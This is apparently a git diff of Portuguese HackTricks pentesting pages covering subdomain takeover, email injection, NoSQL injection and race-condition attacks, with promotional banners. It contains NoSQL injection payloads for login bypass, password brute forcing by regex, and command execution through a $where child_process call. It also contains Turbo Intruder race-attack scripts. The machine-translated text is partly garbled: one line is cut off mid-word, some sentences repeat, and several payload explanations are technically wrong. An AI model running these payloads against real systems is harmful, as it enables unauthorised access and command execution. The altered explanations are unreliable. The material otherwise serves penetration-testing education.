Em 2016, Matthew Bryant [demonstrou](https://thehackerblog.com/the-international-incident-gaining-control-of-a-int-domain-name-with-dns-trickery/index.html) uma apropriação de subdomínio usando registro NS em _maris.int_. O domínio de nível superior .INT é um TLD especial e apenas algumas poucas domínios o utilizam. Bryant mostrou que, mesmo que o registro de tais nomes de domínio seja aprovado exclusivamente pela IANA, os servidores de nomes podem ser definidos para domínios arbitrários. Como um dos servidores de nomes do _maris.int_ estava disponível para registro (_cobalt.aliis.be_), a apropriação de subdomínio foi possível mesmo nesse TLD restrito.
|
||||
Em 2016, Matthew Bryant [demonstrou](https://thehackerblog.com/the-international-incident-gaining-control-of-a-int-domain-name-with-dns-trickery/index.html) um subdomínio takeover usando registro NS em _maris.int_. O domínio de nível superior .INT é um TLD especial e apenas algumas poucas domínios o utilizam. Bryant mostrou que, mesmo que o registro de tais nomes de domínio seja aprovado exclusivamente pela IANA, os servidores de nomes podem ser definidos para domínios arbitrários. Como um dos servidores de nomes do _maris.int_ estava disponível para registro (_cobalt.aliis.be_), o subdomínio takeover foi possível mesmo nesse TLD restrito.
|
||||
|
||||
Matthew também [demonstrou](https://thehackerblog.com/the-io-error-taking-control-of-all-io-domains-with-a-targeted-registration/index.html) um ataque de gravidade ainda maior, onde ele foi capaz de obter controle sobre o servidor de nomes do domínio de nível superior .IO. Obter controle sobre o .IO significa controlar as respostas para todos os domínios .IO. Nesse caso, um dos servidores de nomes do .IO era _ns-a1.io_, que estava disponível para registro. Ao registrar _ns-a1.io_, Bryant foi capaz de receber consultas DNS e control
|
||||
Matthew também [demonstrou](https://thehackerblog.com/the-io-error-taking-control-of-all-io-domains-with-a-targeted-registration/index.html) um ataque de gravidade ainda maior, onde ele foi capaz de obter controle sobre o servidor de nomes do domínio de nível superior .IO. Obter controle sobre o .IO significa controlar as respostas para todos os domínios .IO. Nesse caso, um dos servidores de nomes do .IO era _ns-a1.io_, que estava disponível para registro. Ao registrar _ns-a1.io_, Bryant foi capaz de receber consultas DNS e controlar suas respostas para todos os domínios .IO.
|
||||
### Mitigação <a href="#mitigação" id="mitigação"></a>
|
||||
|
||||
As estratégias de mitigação para domínios já vulneráveis a subdomain takeover são bastante simples:
|
||||
|
@ -163,9 +163,9 @@ As estratégias de mitigação para domínios já vulneráveis a subdomain takeo
|
|||
* **Remova o registro DNS afetado** - A solução mais simples é remover o registro afetado da zona DNS. Esse passo é geralmente utilizado quando a organização conclui que o nome de domínio de origem afetado não é mais necessário.
|
||||
* **Reivindique o nome de domínio** - Isso significa registrar o recurso em um provedor de nuvem específico ou, no caso de um domínio regular da Internet, recomprar o domínio expirado.
|
||||
|
||||
Para evitar subdomain takeover no futuro, as organizações devem alterar o processo de criação e destruição de recursos em sua infraestrutura. No caso da criação de recursos, a criação do registro DNS deve ser a _última etapa_ desse processo. Essa condição impede que o registro DNS aponte para um domínio inexistente em qualquer momento. Para a destruição de recursos, ocorre o oposto: o registro DNS precisa ser removido como a _primeira etapa_ desse processo. Ferramentas como [aquatone](https://github.com/michenriksen/aquatone) incluem verificações para subdomain takeover. Essas verificações devem ser realizadas periodicamente por uma equipe de segurança de uma organização para verificar se não há domínios vulneráveis. Os processos de coleta centralizada de nomes de domínio expostos geralmente não são eficientes dentro das organizações (devido a equipes globais, etc.) e o monitoramento externo geralmente é a melhor opção.
|
||||
Para evitar subdomain takeover no futuro, as organizações devem alterar o processo de criação e destruição de recursos em sua infraestrutura. No caso da criação de recursos, a criação do registro DNS deve ser a _última etapa_ desse processo. Essa condição impede que o registro DNS aponte para um domínio inexistente em qualquer momento. Para a destruição de recursos, ocorre o oposto: o registro DNS precisa ser removido como a _primeira etapa_ desse processo. Ferramentas como [aquatone](https://github.com/michenriksen/aquatone) incluem verificações para subdomain takeover. Essas verificações devem ser realizadas periodicamente por uma equipe de segurança da organização para verificar se não há domínios vulneráveis. Os processos de coleta centralizada de nomes de domínio expostos geralmente não são eficientes dentro das organizações (devido a equipes globais, etc.) e o monitoramento externo geralmente é a melhor opção.
|
||||
|
||||
A estratégia de mitigação para provedores de nuvem também deve ser considerada. Os serviços em nuvem não verificam a propriedade do domínio. A razão por trás disso é principalmente a conveniência. O provedor de nuvem não introduz nenhuma vulnerabilidade ao não verificar a propriedade de um nome de domínio de origem. Portanto, cabe ao usuário monitorar seus registros DNS. Outro motivo é que, quando um recurso em nuvem é removido, o usuário geralmente não é mais cliente desse serviço. A pergunta que os provedores de nuvem fazem a si mesmos é: Por que deveríamos nos importar?
|
||||
A mitigação para provedores de nuvem também deve ser considerada. Os serviços em nuvem não verificam a propriedade do domínio. A razão para isso é principalmente a conveniência. O provedor de nuvem não introduz nenhuma vulnerabilidade ao não verificar a propriedade de um nome de domínio de origem. Portanto, cabe ao usuário monitorar seus registros DNS. Outro motivo é que, quando um recurso em nuvem é removido, o usuário geralmente não é mais cliente desse serviço. A pergunta que os provedores de nuvem fazem é: Por que deveríamos nos importar?
|
||||
|
||||
Provedores como [GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/) perceberam que o subdomain takeover é um problema e implementaram um mecanismo de verificação de domínio.
|
||||
|
||||
|
@ -175,10 +175,10 @@ Até a próxima!
|
|||
|
||||
[Patrik](https://twitter.com/0xpatrik)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para criar e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# Injeções de Email
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -12,7 +12,7 @@ Acesse hoje mesmo:
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -90,15 +90,13 @@ $to = filter_var($_POST['to'], FILTER_VALIDATE_EMAIL);
|
|||
$subject = htmlspecialchars($_POST['subject']);
|
||||
$message = htmlspecialchars($_POST['message']);
|
||||
|
||||
if ($to !== false) {
|
||||
if ($to && $subject && $message) {
|
||||
mail($to, $subject, $message);
|
||||
} else {
|
||||
echo "Endereço de e-mail inválido.";
|
||||
}
|
||||
?>
|
||||
```
|
||||
|
||||
Ao validar e sanitizar os dados de entrada, é possível mitigar a vulnerabilidade de injeção de e-mail e garantir a segurança da função `mail()`.
|
||||
Ao validar e sanitizar os dados de entrada, é possível reduzir significativamente o risco de injeção de e-mail e outros ataques relacionados.
|
||||
```bash
|
||||
# The function has the following definition:
|
||||
|
||||
|
@ -207,7 +205,7 @@ Portanto, se você puder **enviar e-mails (talvez convites) do aplicativo da web
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
@ -85,7 +85,7 @@ php vuln.php
|
|||
|
||||
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# Injeção NoSQL
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -12,7 +12,7 @@ Acesse hoje mesmo:
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -79,7 +79,7 @@ To prevent NoSQL injection, it is important to follow secure coding practices:
|
|||
|
||||
3. **Least Privilege Principle**: Ensure that the database user account used by the application has the least privileges necessary to perform its intended functions. This limits the potential impact of an injection attack.
|
||||
|
||||
By following these best practices, you can help protect your NoSQL database from injection attacks and maintain the security of your application.
|
||||
By following these best practices, you can help protect your NoSQL databases from injection attacks and maintain the security of your application.
|
||||
```
|
||||
Normal sql: ' or 1=1-- -
|
||||
Mongo sql: ' || 1==1// or ' || 1==1%00
|
||||
|
@ -103,14 +103,14 @@ db.users.find({ username: { $eq: "admin" } })
|
|||
Para extrair informações sobre o comprimento do campo `username`, podemos fornecer um valor manipulado para o operador `$eq`:
|
||||
|
||||
```javascript
|
||||
db.users.find({ username: { $eq: { $regex: "^.{1,}$" } } })
|
||||
db.users.find({ username: { $eq: { $ne: null } } })
|
||||
```
|
||||
|
||||
Neste exemplo, o valor `^.{1,}$` é uma expressão regular que corresponde a qualquer string com um comprimento mínimo de 1 caractere. Ao executar essa consulta, se o aplicativo responder com sucesso, podemos inferir que o comprimento do campo `username` é maior ou igual a 1.
|
||||
Se a consulta retornar um resultado, isso indica que o comprimento do campo `username` é maior que zero. Caso contrário, o comprimento é zero.
|
||||
|
||||
#### Considerações de Segurança
|
||||
|
||||
Ao realizar testes de injeção NoSQL, é importante ter cuidado para não causar danos ao sistema ou violar a privacidade dos usuários. Sempre obtenha permissão explícita antes de realizar testes em um ambiente de produção e siga as melhores práticas de segurança.
|
||||
Para proteger um aplicativo contra injeção NoSQL, é importante validar e sanitizar todas as entradas do usuário. Além disso, é recomendável usar bibliotecas ou frameworks que ofereçam recursos de segurança embutidos para mitigar esse tipo de vulnerabilidade.
|
||||
```bash
|
||||
username[$ne]=toto&password[$regex]=.{1}
|
||||
username[$ne]=toto&password[$regex]=.{3}
|
||||
|
@ -122,15 +122,25 @@ NoSQL injection is a type of attack that targets NoSQL databases, which are non-
|
|||
|
||||
In a NoSQL injection attack, the attacker takes advantage of vulnerabilities in the application code that interacts with the NoSQL database. These vulnerabilities can allow the attacker to inject malicious code into the query, which can then be executed by the database.
|
||||
|
||||
One common method of NoSQL injection is through the manipulation of query parameters. By injecting specially crafted input into the query, the attacker can modify the behavior of the query and retrieve data that they are not authorized to access.
|
||||
One common method of NoSQL injection is through the manipulation of query parameters. By modifying the values of these parameters, an attacker can change the behavior of the query and potentially retrieve sensitive information.
|
||||
|
||||
For example, consider a web application that uses a NoSQL database to store user information. The application allows users to search for other users by providing a username. The application constructs a NoSQL query based on the user input and retrieves the corresponding user data.
|
||||
For example, consider a web application that uses a NoSQL database to store user information. The application may have a login feature that checks if a given username and password match a record in the database. The query used to perform this check may look something like this:
|
||||
|
||||
If the application does not properly validate or sanitize the user input, an attacker can manipulate the query to retrieve all user data instead of just the data for a specific user. By providing a malicious username such as `{"$ne": null}`, the attacker can exploit a NoSQL injection vulnerability and retrieve all user data from the database.
|
||||
```javascript
|
||||
db.users.find({ username: 'admin', password: 'password123' })
|
||||
```
|
||||
|
||||
To prevent NoSQL injection attacks, it is important to properly validate and sanitize all user input before using it in a NoSQL query. This can include techniques such as input validation, parameterized queries, and using an ORM (Object-Relational Mapping) framework.
|
||||
In a NoSQL injection attack, an attacker could manipulate the query parameters to bypass the login check and retrieve all user records from the database. For example, by providing the following input:
|
||||
|
||||
By following secure coding practices and regularly updating and patching your application and database, you can help protect against NoSQL injection attacks and keep your data secure.
|
||||
```
|
||||
username: { $ne: null }, password: { $ne: null }
|
||||
```
|
||||
|
||||
The resulting query would retrieve all user records, regardless of the username and password provided.
|
||||
|
||||
To prevent NoSQL injection attacks, it is important to properly validate and sanitize user input before using it in a database query. This can include techniques such as input validation, parameterized queries, and output encoding.
|
||||
|
||||
By following secure coding practices and regularly testing for vulnerabilities, developers can help protect their applications from NoSQL injection attacks and ensure the security of their data.
|
||||
```
|
||||
in URL (if length == 3)
|
||||
username[$ne]=toto&password[$regex]=a.{2}
|
||||
|
@ -217,7 +227,7 @@ Utilizando o operador **$func** da biblioteca [MongoLite](https://github.com/age
|
|||
}
|
||||
]
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -271,19 +281,33 @@ A injeção de NoSQL é uma técnica de ataque que visa explorar vulnerabilidade
|
|||
|
||||
Aqui estão algumas cargas úteis comuns usadas para explorar vulnerabilidades de injeção de NoSQL em bancos de dados MongoDB:
|
||||
|
||||
1. **Carga útil de autenticação**: `' $ne: null` - Essa carga útil é usada para verificar se a autenticação está habilitada no banco de dados. Se a consulta retornar algum resultado, significa que a autenticação está desabilitada.
|
||||
1. **Carga útil de autenticação**: essa carga útil é usada para tentar autenticar como um usuário específico no banco de dados MongoDB. Ela pode ser usada para explorar vulnerabilidades de autenticação fraca.
|
||||
|
||||
2. **Carga útil de enumeração de coleções**: `' $where: '1 == 1'` - Essa carga útil é usada para enumerar todas as coleções presentes no banco de dados.
|
||||
```javascript
|
||||
{"$ne": 1, "username": "admin", "password": {"$ne": 1}}
|
||||
```
|
||||
|
||||
3. **Carga útil de enumeração de documentos**: `' $where: 'this.username == "admin"'` - Essa carga útil é usada para enumerar todos os documentos que possuem um campo "username" com o valor "admin".
|
||||
2. **Carga útil de enumeração**: essa carga útil é usada para enumerar informações sobre o banco de dados, como nomes de coleções e campos.
|
||||
|
||||
4. **Carga útil de enumeração de campos**: `' $regex: /./, $options: 'si'` - Essa carga útil é usada para enumerar todos os campos presentes em um documento.
|
||||
```javascript
|
||||
{"$where": "sleep(1000)"}
|
||||
```
|
||||
|
||||
5. **Carga útil de vazamento de dados**: `' $where: 'this.password.length > 0'` - Essa carga útil é usada para encontrar documentos que possuem um campo "password" não vazio, o que pode levar ao vazamento de dados sensíveis.
|
||||
3. **Carga útil de injeção condicional**: essa carga útil é usada para explorar vulnerabilidades de injeção condicional, onde a aplicação executa consultas condicionais no banco de dados.
|
||||
|
||||
```javascript
|
||||
{"$gt": "", "username": "admin", "password": {"$regex": "^a"}}
|
||||
```
|
||||
|
||||
4. **Carga útil de injeção de comandos**: essa carga útil é usada para executar comandos no servidor MongoDB.
|
||||
|
||||
```javascript
|
||||
{"$where": "this.constructor.constructor('return process')().mainModule.require('child_process').execSync('ls').toString()"}
|
||||
```
|
||||
|
||||
### Considerações finais
|
||||
|
||||
Essas cargas úteis são apenas exemplos e podem variar dependendo do contexto do banco de dados e da aplicação. É importante entender as vulnerabilidades específicas do banco de dados NoSQL que está sendo testado e adaptar as cargas úteis de acordo.
|
||||
Essas cargas úteis são apenas exemplos e podem variar dependendo do contexto e da aplicação específica. É importante entender as vulnerabilidades de injeção de NoSQL e adaptar as cargas úteis de acordo com o cenário de teste.
|
||||
```
|
||||
true, $where: '1 == 1'
|
||||
, $where: '1 == 1'
|
||||
|
@ -378,7 +402,7 @@ get_password(u)
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# Condição de Corrida
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -15,7 +15,7 @@ Acesse hoje mesmo:
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
@ -29,13 +29,13 @@ O principal problema de abusar da Condição de Corrida é que você precisa que
|
|||
### Ataque de pacote único (HTTP/2) / Sincronização do último byte (HTTP/1.1)
|
||||
|
||||
O HTTP2 permite enviar **2 solicitações em uma única conexão TCP** (enquanto no HTTP/1.1 elas devem ser sequenciais).\
|
||||
O uso de um único pacote TCP elimina completamente o efeito da variação de rede, portanto, isso claramente tem potencial para ataques de condição de corrida também. No entanto, **duas solicitações não são suficientes para um ataque de corrida confiável** devido à **variação do lado do servidor** - variações no tempo de processamento da solicitação do aplicativo causadas por variáveis incontroláveis, como contenção da CPU.
|
||||
O uso de um único pacote TCP elimina completamente o efeito da variação de rede, portanto, isso claramente tem potencial para ataques de condição de corrida também. No entanto, **duas solicitações não são suficientes para um ataque de corrida confiável** devido à **variação do lado do servidor** - variações no tempo de processamento da solicitação do aplicativo causadas por variáveis incontroláveis como contenção de CPU.
|
||||
|
||||
Mas, usando a técnica de '**sincronização do último byte**' do HTTP/1.1, é possível pré-enviar a maior parte dos dados retendo um pequeno fragmento de cada solicitação e, em seguida, 'completar' **20-30 solicitações com um único pacote TCP**.
|
||||
|
||||
Para **pré-enviar a maior parte de cada solicitação**:
|
||||
|
||||
* Se a solicitação não tiver corpo, envie todos os cabeçalhos, mas não defina a flag END\_STREAM. Retenha um quadro de dados vazio com a flag END\_STREAM definida.
|
||||
* Se a solicitação não tiver corpo, envie todos os cabeçalhos, mas não defina o sinalizador END\_STREAM. Retenha um quadro de dados vazio com o sinalizador END\_STREAM definido.
|
||||
* Se a solicitação tiver um corpo, envie os cabeçalhos e todos os dados do corpo, exceto o último byte. Retenha um quadro de dados contendo o último byte.
|
||||
|
||||
Em seguida, **prepare-se para enviar os quadros finais**:
|
||||
|
@ -44,15 +44,15 @@ Em seguida, **prepare-se para enviar os quadros finais**:
|
|||
* Verifique se o TCP\_NODELAY está desativado - é crucial que o algoritmo de Nagle agrupe os quadros finais.
|
||||
* Envie um pacote de ping para aquecer a conexão local. Se você não fizer isso, a pilha de rede do sistema operacional colocará o primeiro quadro final em um pacote separado.
|
||||
|
||||
Por fim, envie os quadros retidos. Você deve ser capaz de verificar que eles chegaram em um único pacote usando o Wireshark.
|
||||
Por fim, envie os quadros retidos. Você deve ser capaz de verificar se eles chegaram em um único pacote usando o Wireshark.
|
||||
|
||||
{% hint style="info" %}
|
||||
Observe que isso **não funciona para arquivos estáticos** em determinados servidores, mas como os arquivos estáticos não são relevantes para ataques de condição de corrida. Mas arquivos estáticos são irrelevantes para ataques de RC.
|
||||
Observe que isso **não funciona para arquivos estáticos** em determinados servidores, mas como os arquivos estáticos não são relevantes para ataques de condição de corrida. Mas arquivos estáticos são irrelevantes para ataques de CC.
|
||||
{% endhint %}
|
||||
|
||||
Usando essa técnica, você pode fazer com que 20-30 solicitações cheguem ao servidor simultaneamente - independentemente da variação de rede:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Adaptando à arquitetura do alvo**
|
||||
|
||||
|
@ -71,13 +71,13 @@ Se o aquecimento da conexão não faz diferença, existem várias soluções par
|
|||
|
||||
Usando o Turbo Intruder, você pode introduzir um pequeno atraso no lado do cliente. No entanto, como isso envolve dividir suas solicitações de ataque reais em vários pacotes TCP, você não poderá usar a técnica de ataque de um único pacote. Como resultado, em alvos com alta variação de latência, o ataque provavelmente não funcionará de forma confiável, independentemente do atraso definido.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Em vez disso, você pode resolver esse problema abusando de um recurso de segurança comum.
|
||||
|
||||
Servidores da web frequentemente **atrasam o processamento de solicitações se muitas forem enviadas rapidamente**. Ao enviar um grande número de solicitações falsas para acionar intencionalmente o limite de taxa ou recurso, você pode causar um atraso adequado no lado do servidor. Isso torna o ataque de um único pacote viável mesmo quando a execução atrasada é necessária.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Para obter mais informações sobre essa técnica, consulte o relatório original em [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||
|
@ -87,9 +87,9 @@ Para obter mais informações sobre essa técnica, consulte o relatório origina
|
|||
|
||||
* **Tubo Intruder - Ataque de um único pacote HTTP2 (1 ponto de extremidade)**: Você pode enviar a solicitação para o **Turbo Intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), você pode alterar na solicitação o valor que deseja forçar por **`%s`** como em `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e, em seguida, selecione o **`examples/race-single-packer-attack.py`** no menu suspenso:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você for **enviar valores diferentes**, poderá modificar o código com este que usa uma lista de palavras da área de transferência:
|
||||
Se você for **enviar valores diferentes**, você pode modificar o código com este que usa uma lista de palavras da área de transferência:
|
||||
```python
|
||||
passwords = wordlists.clipboard
|
||||
for password in passwords:
|
||||
|
@ -136,7 +136,7 @@ engine.openGate(currentAttempt)
|
|||
* Para **atrasar** o processo **entre** o processamento **de uma solicitação e outra** em etapas de 2 subestados, você pode **adicionar solicitações extras entre** ambas as solicitações.
|
||||
* Para um RC de **vários endpoints**, você pode começar enviando a **solicitação** que **vai para o estado oculto** e, em seguida, **50 solicitações** logo após isso que **exploram o estado oculto**.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Raw BF
|
||||
|
||||
|
@ -165,43 +165,13 @@ table.add(req)
|
|||
```
|
||||
* **Python - asyncio**
|
||||
|
||||
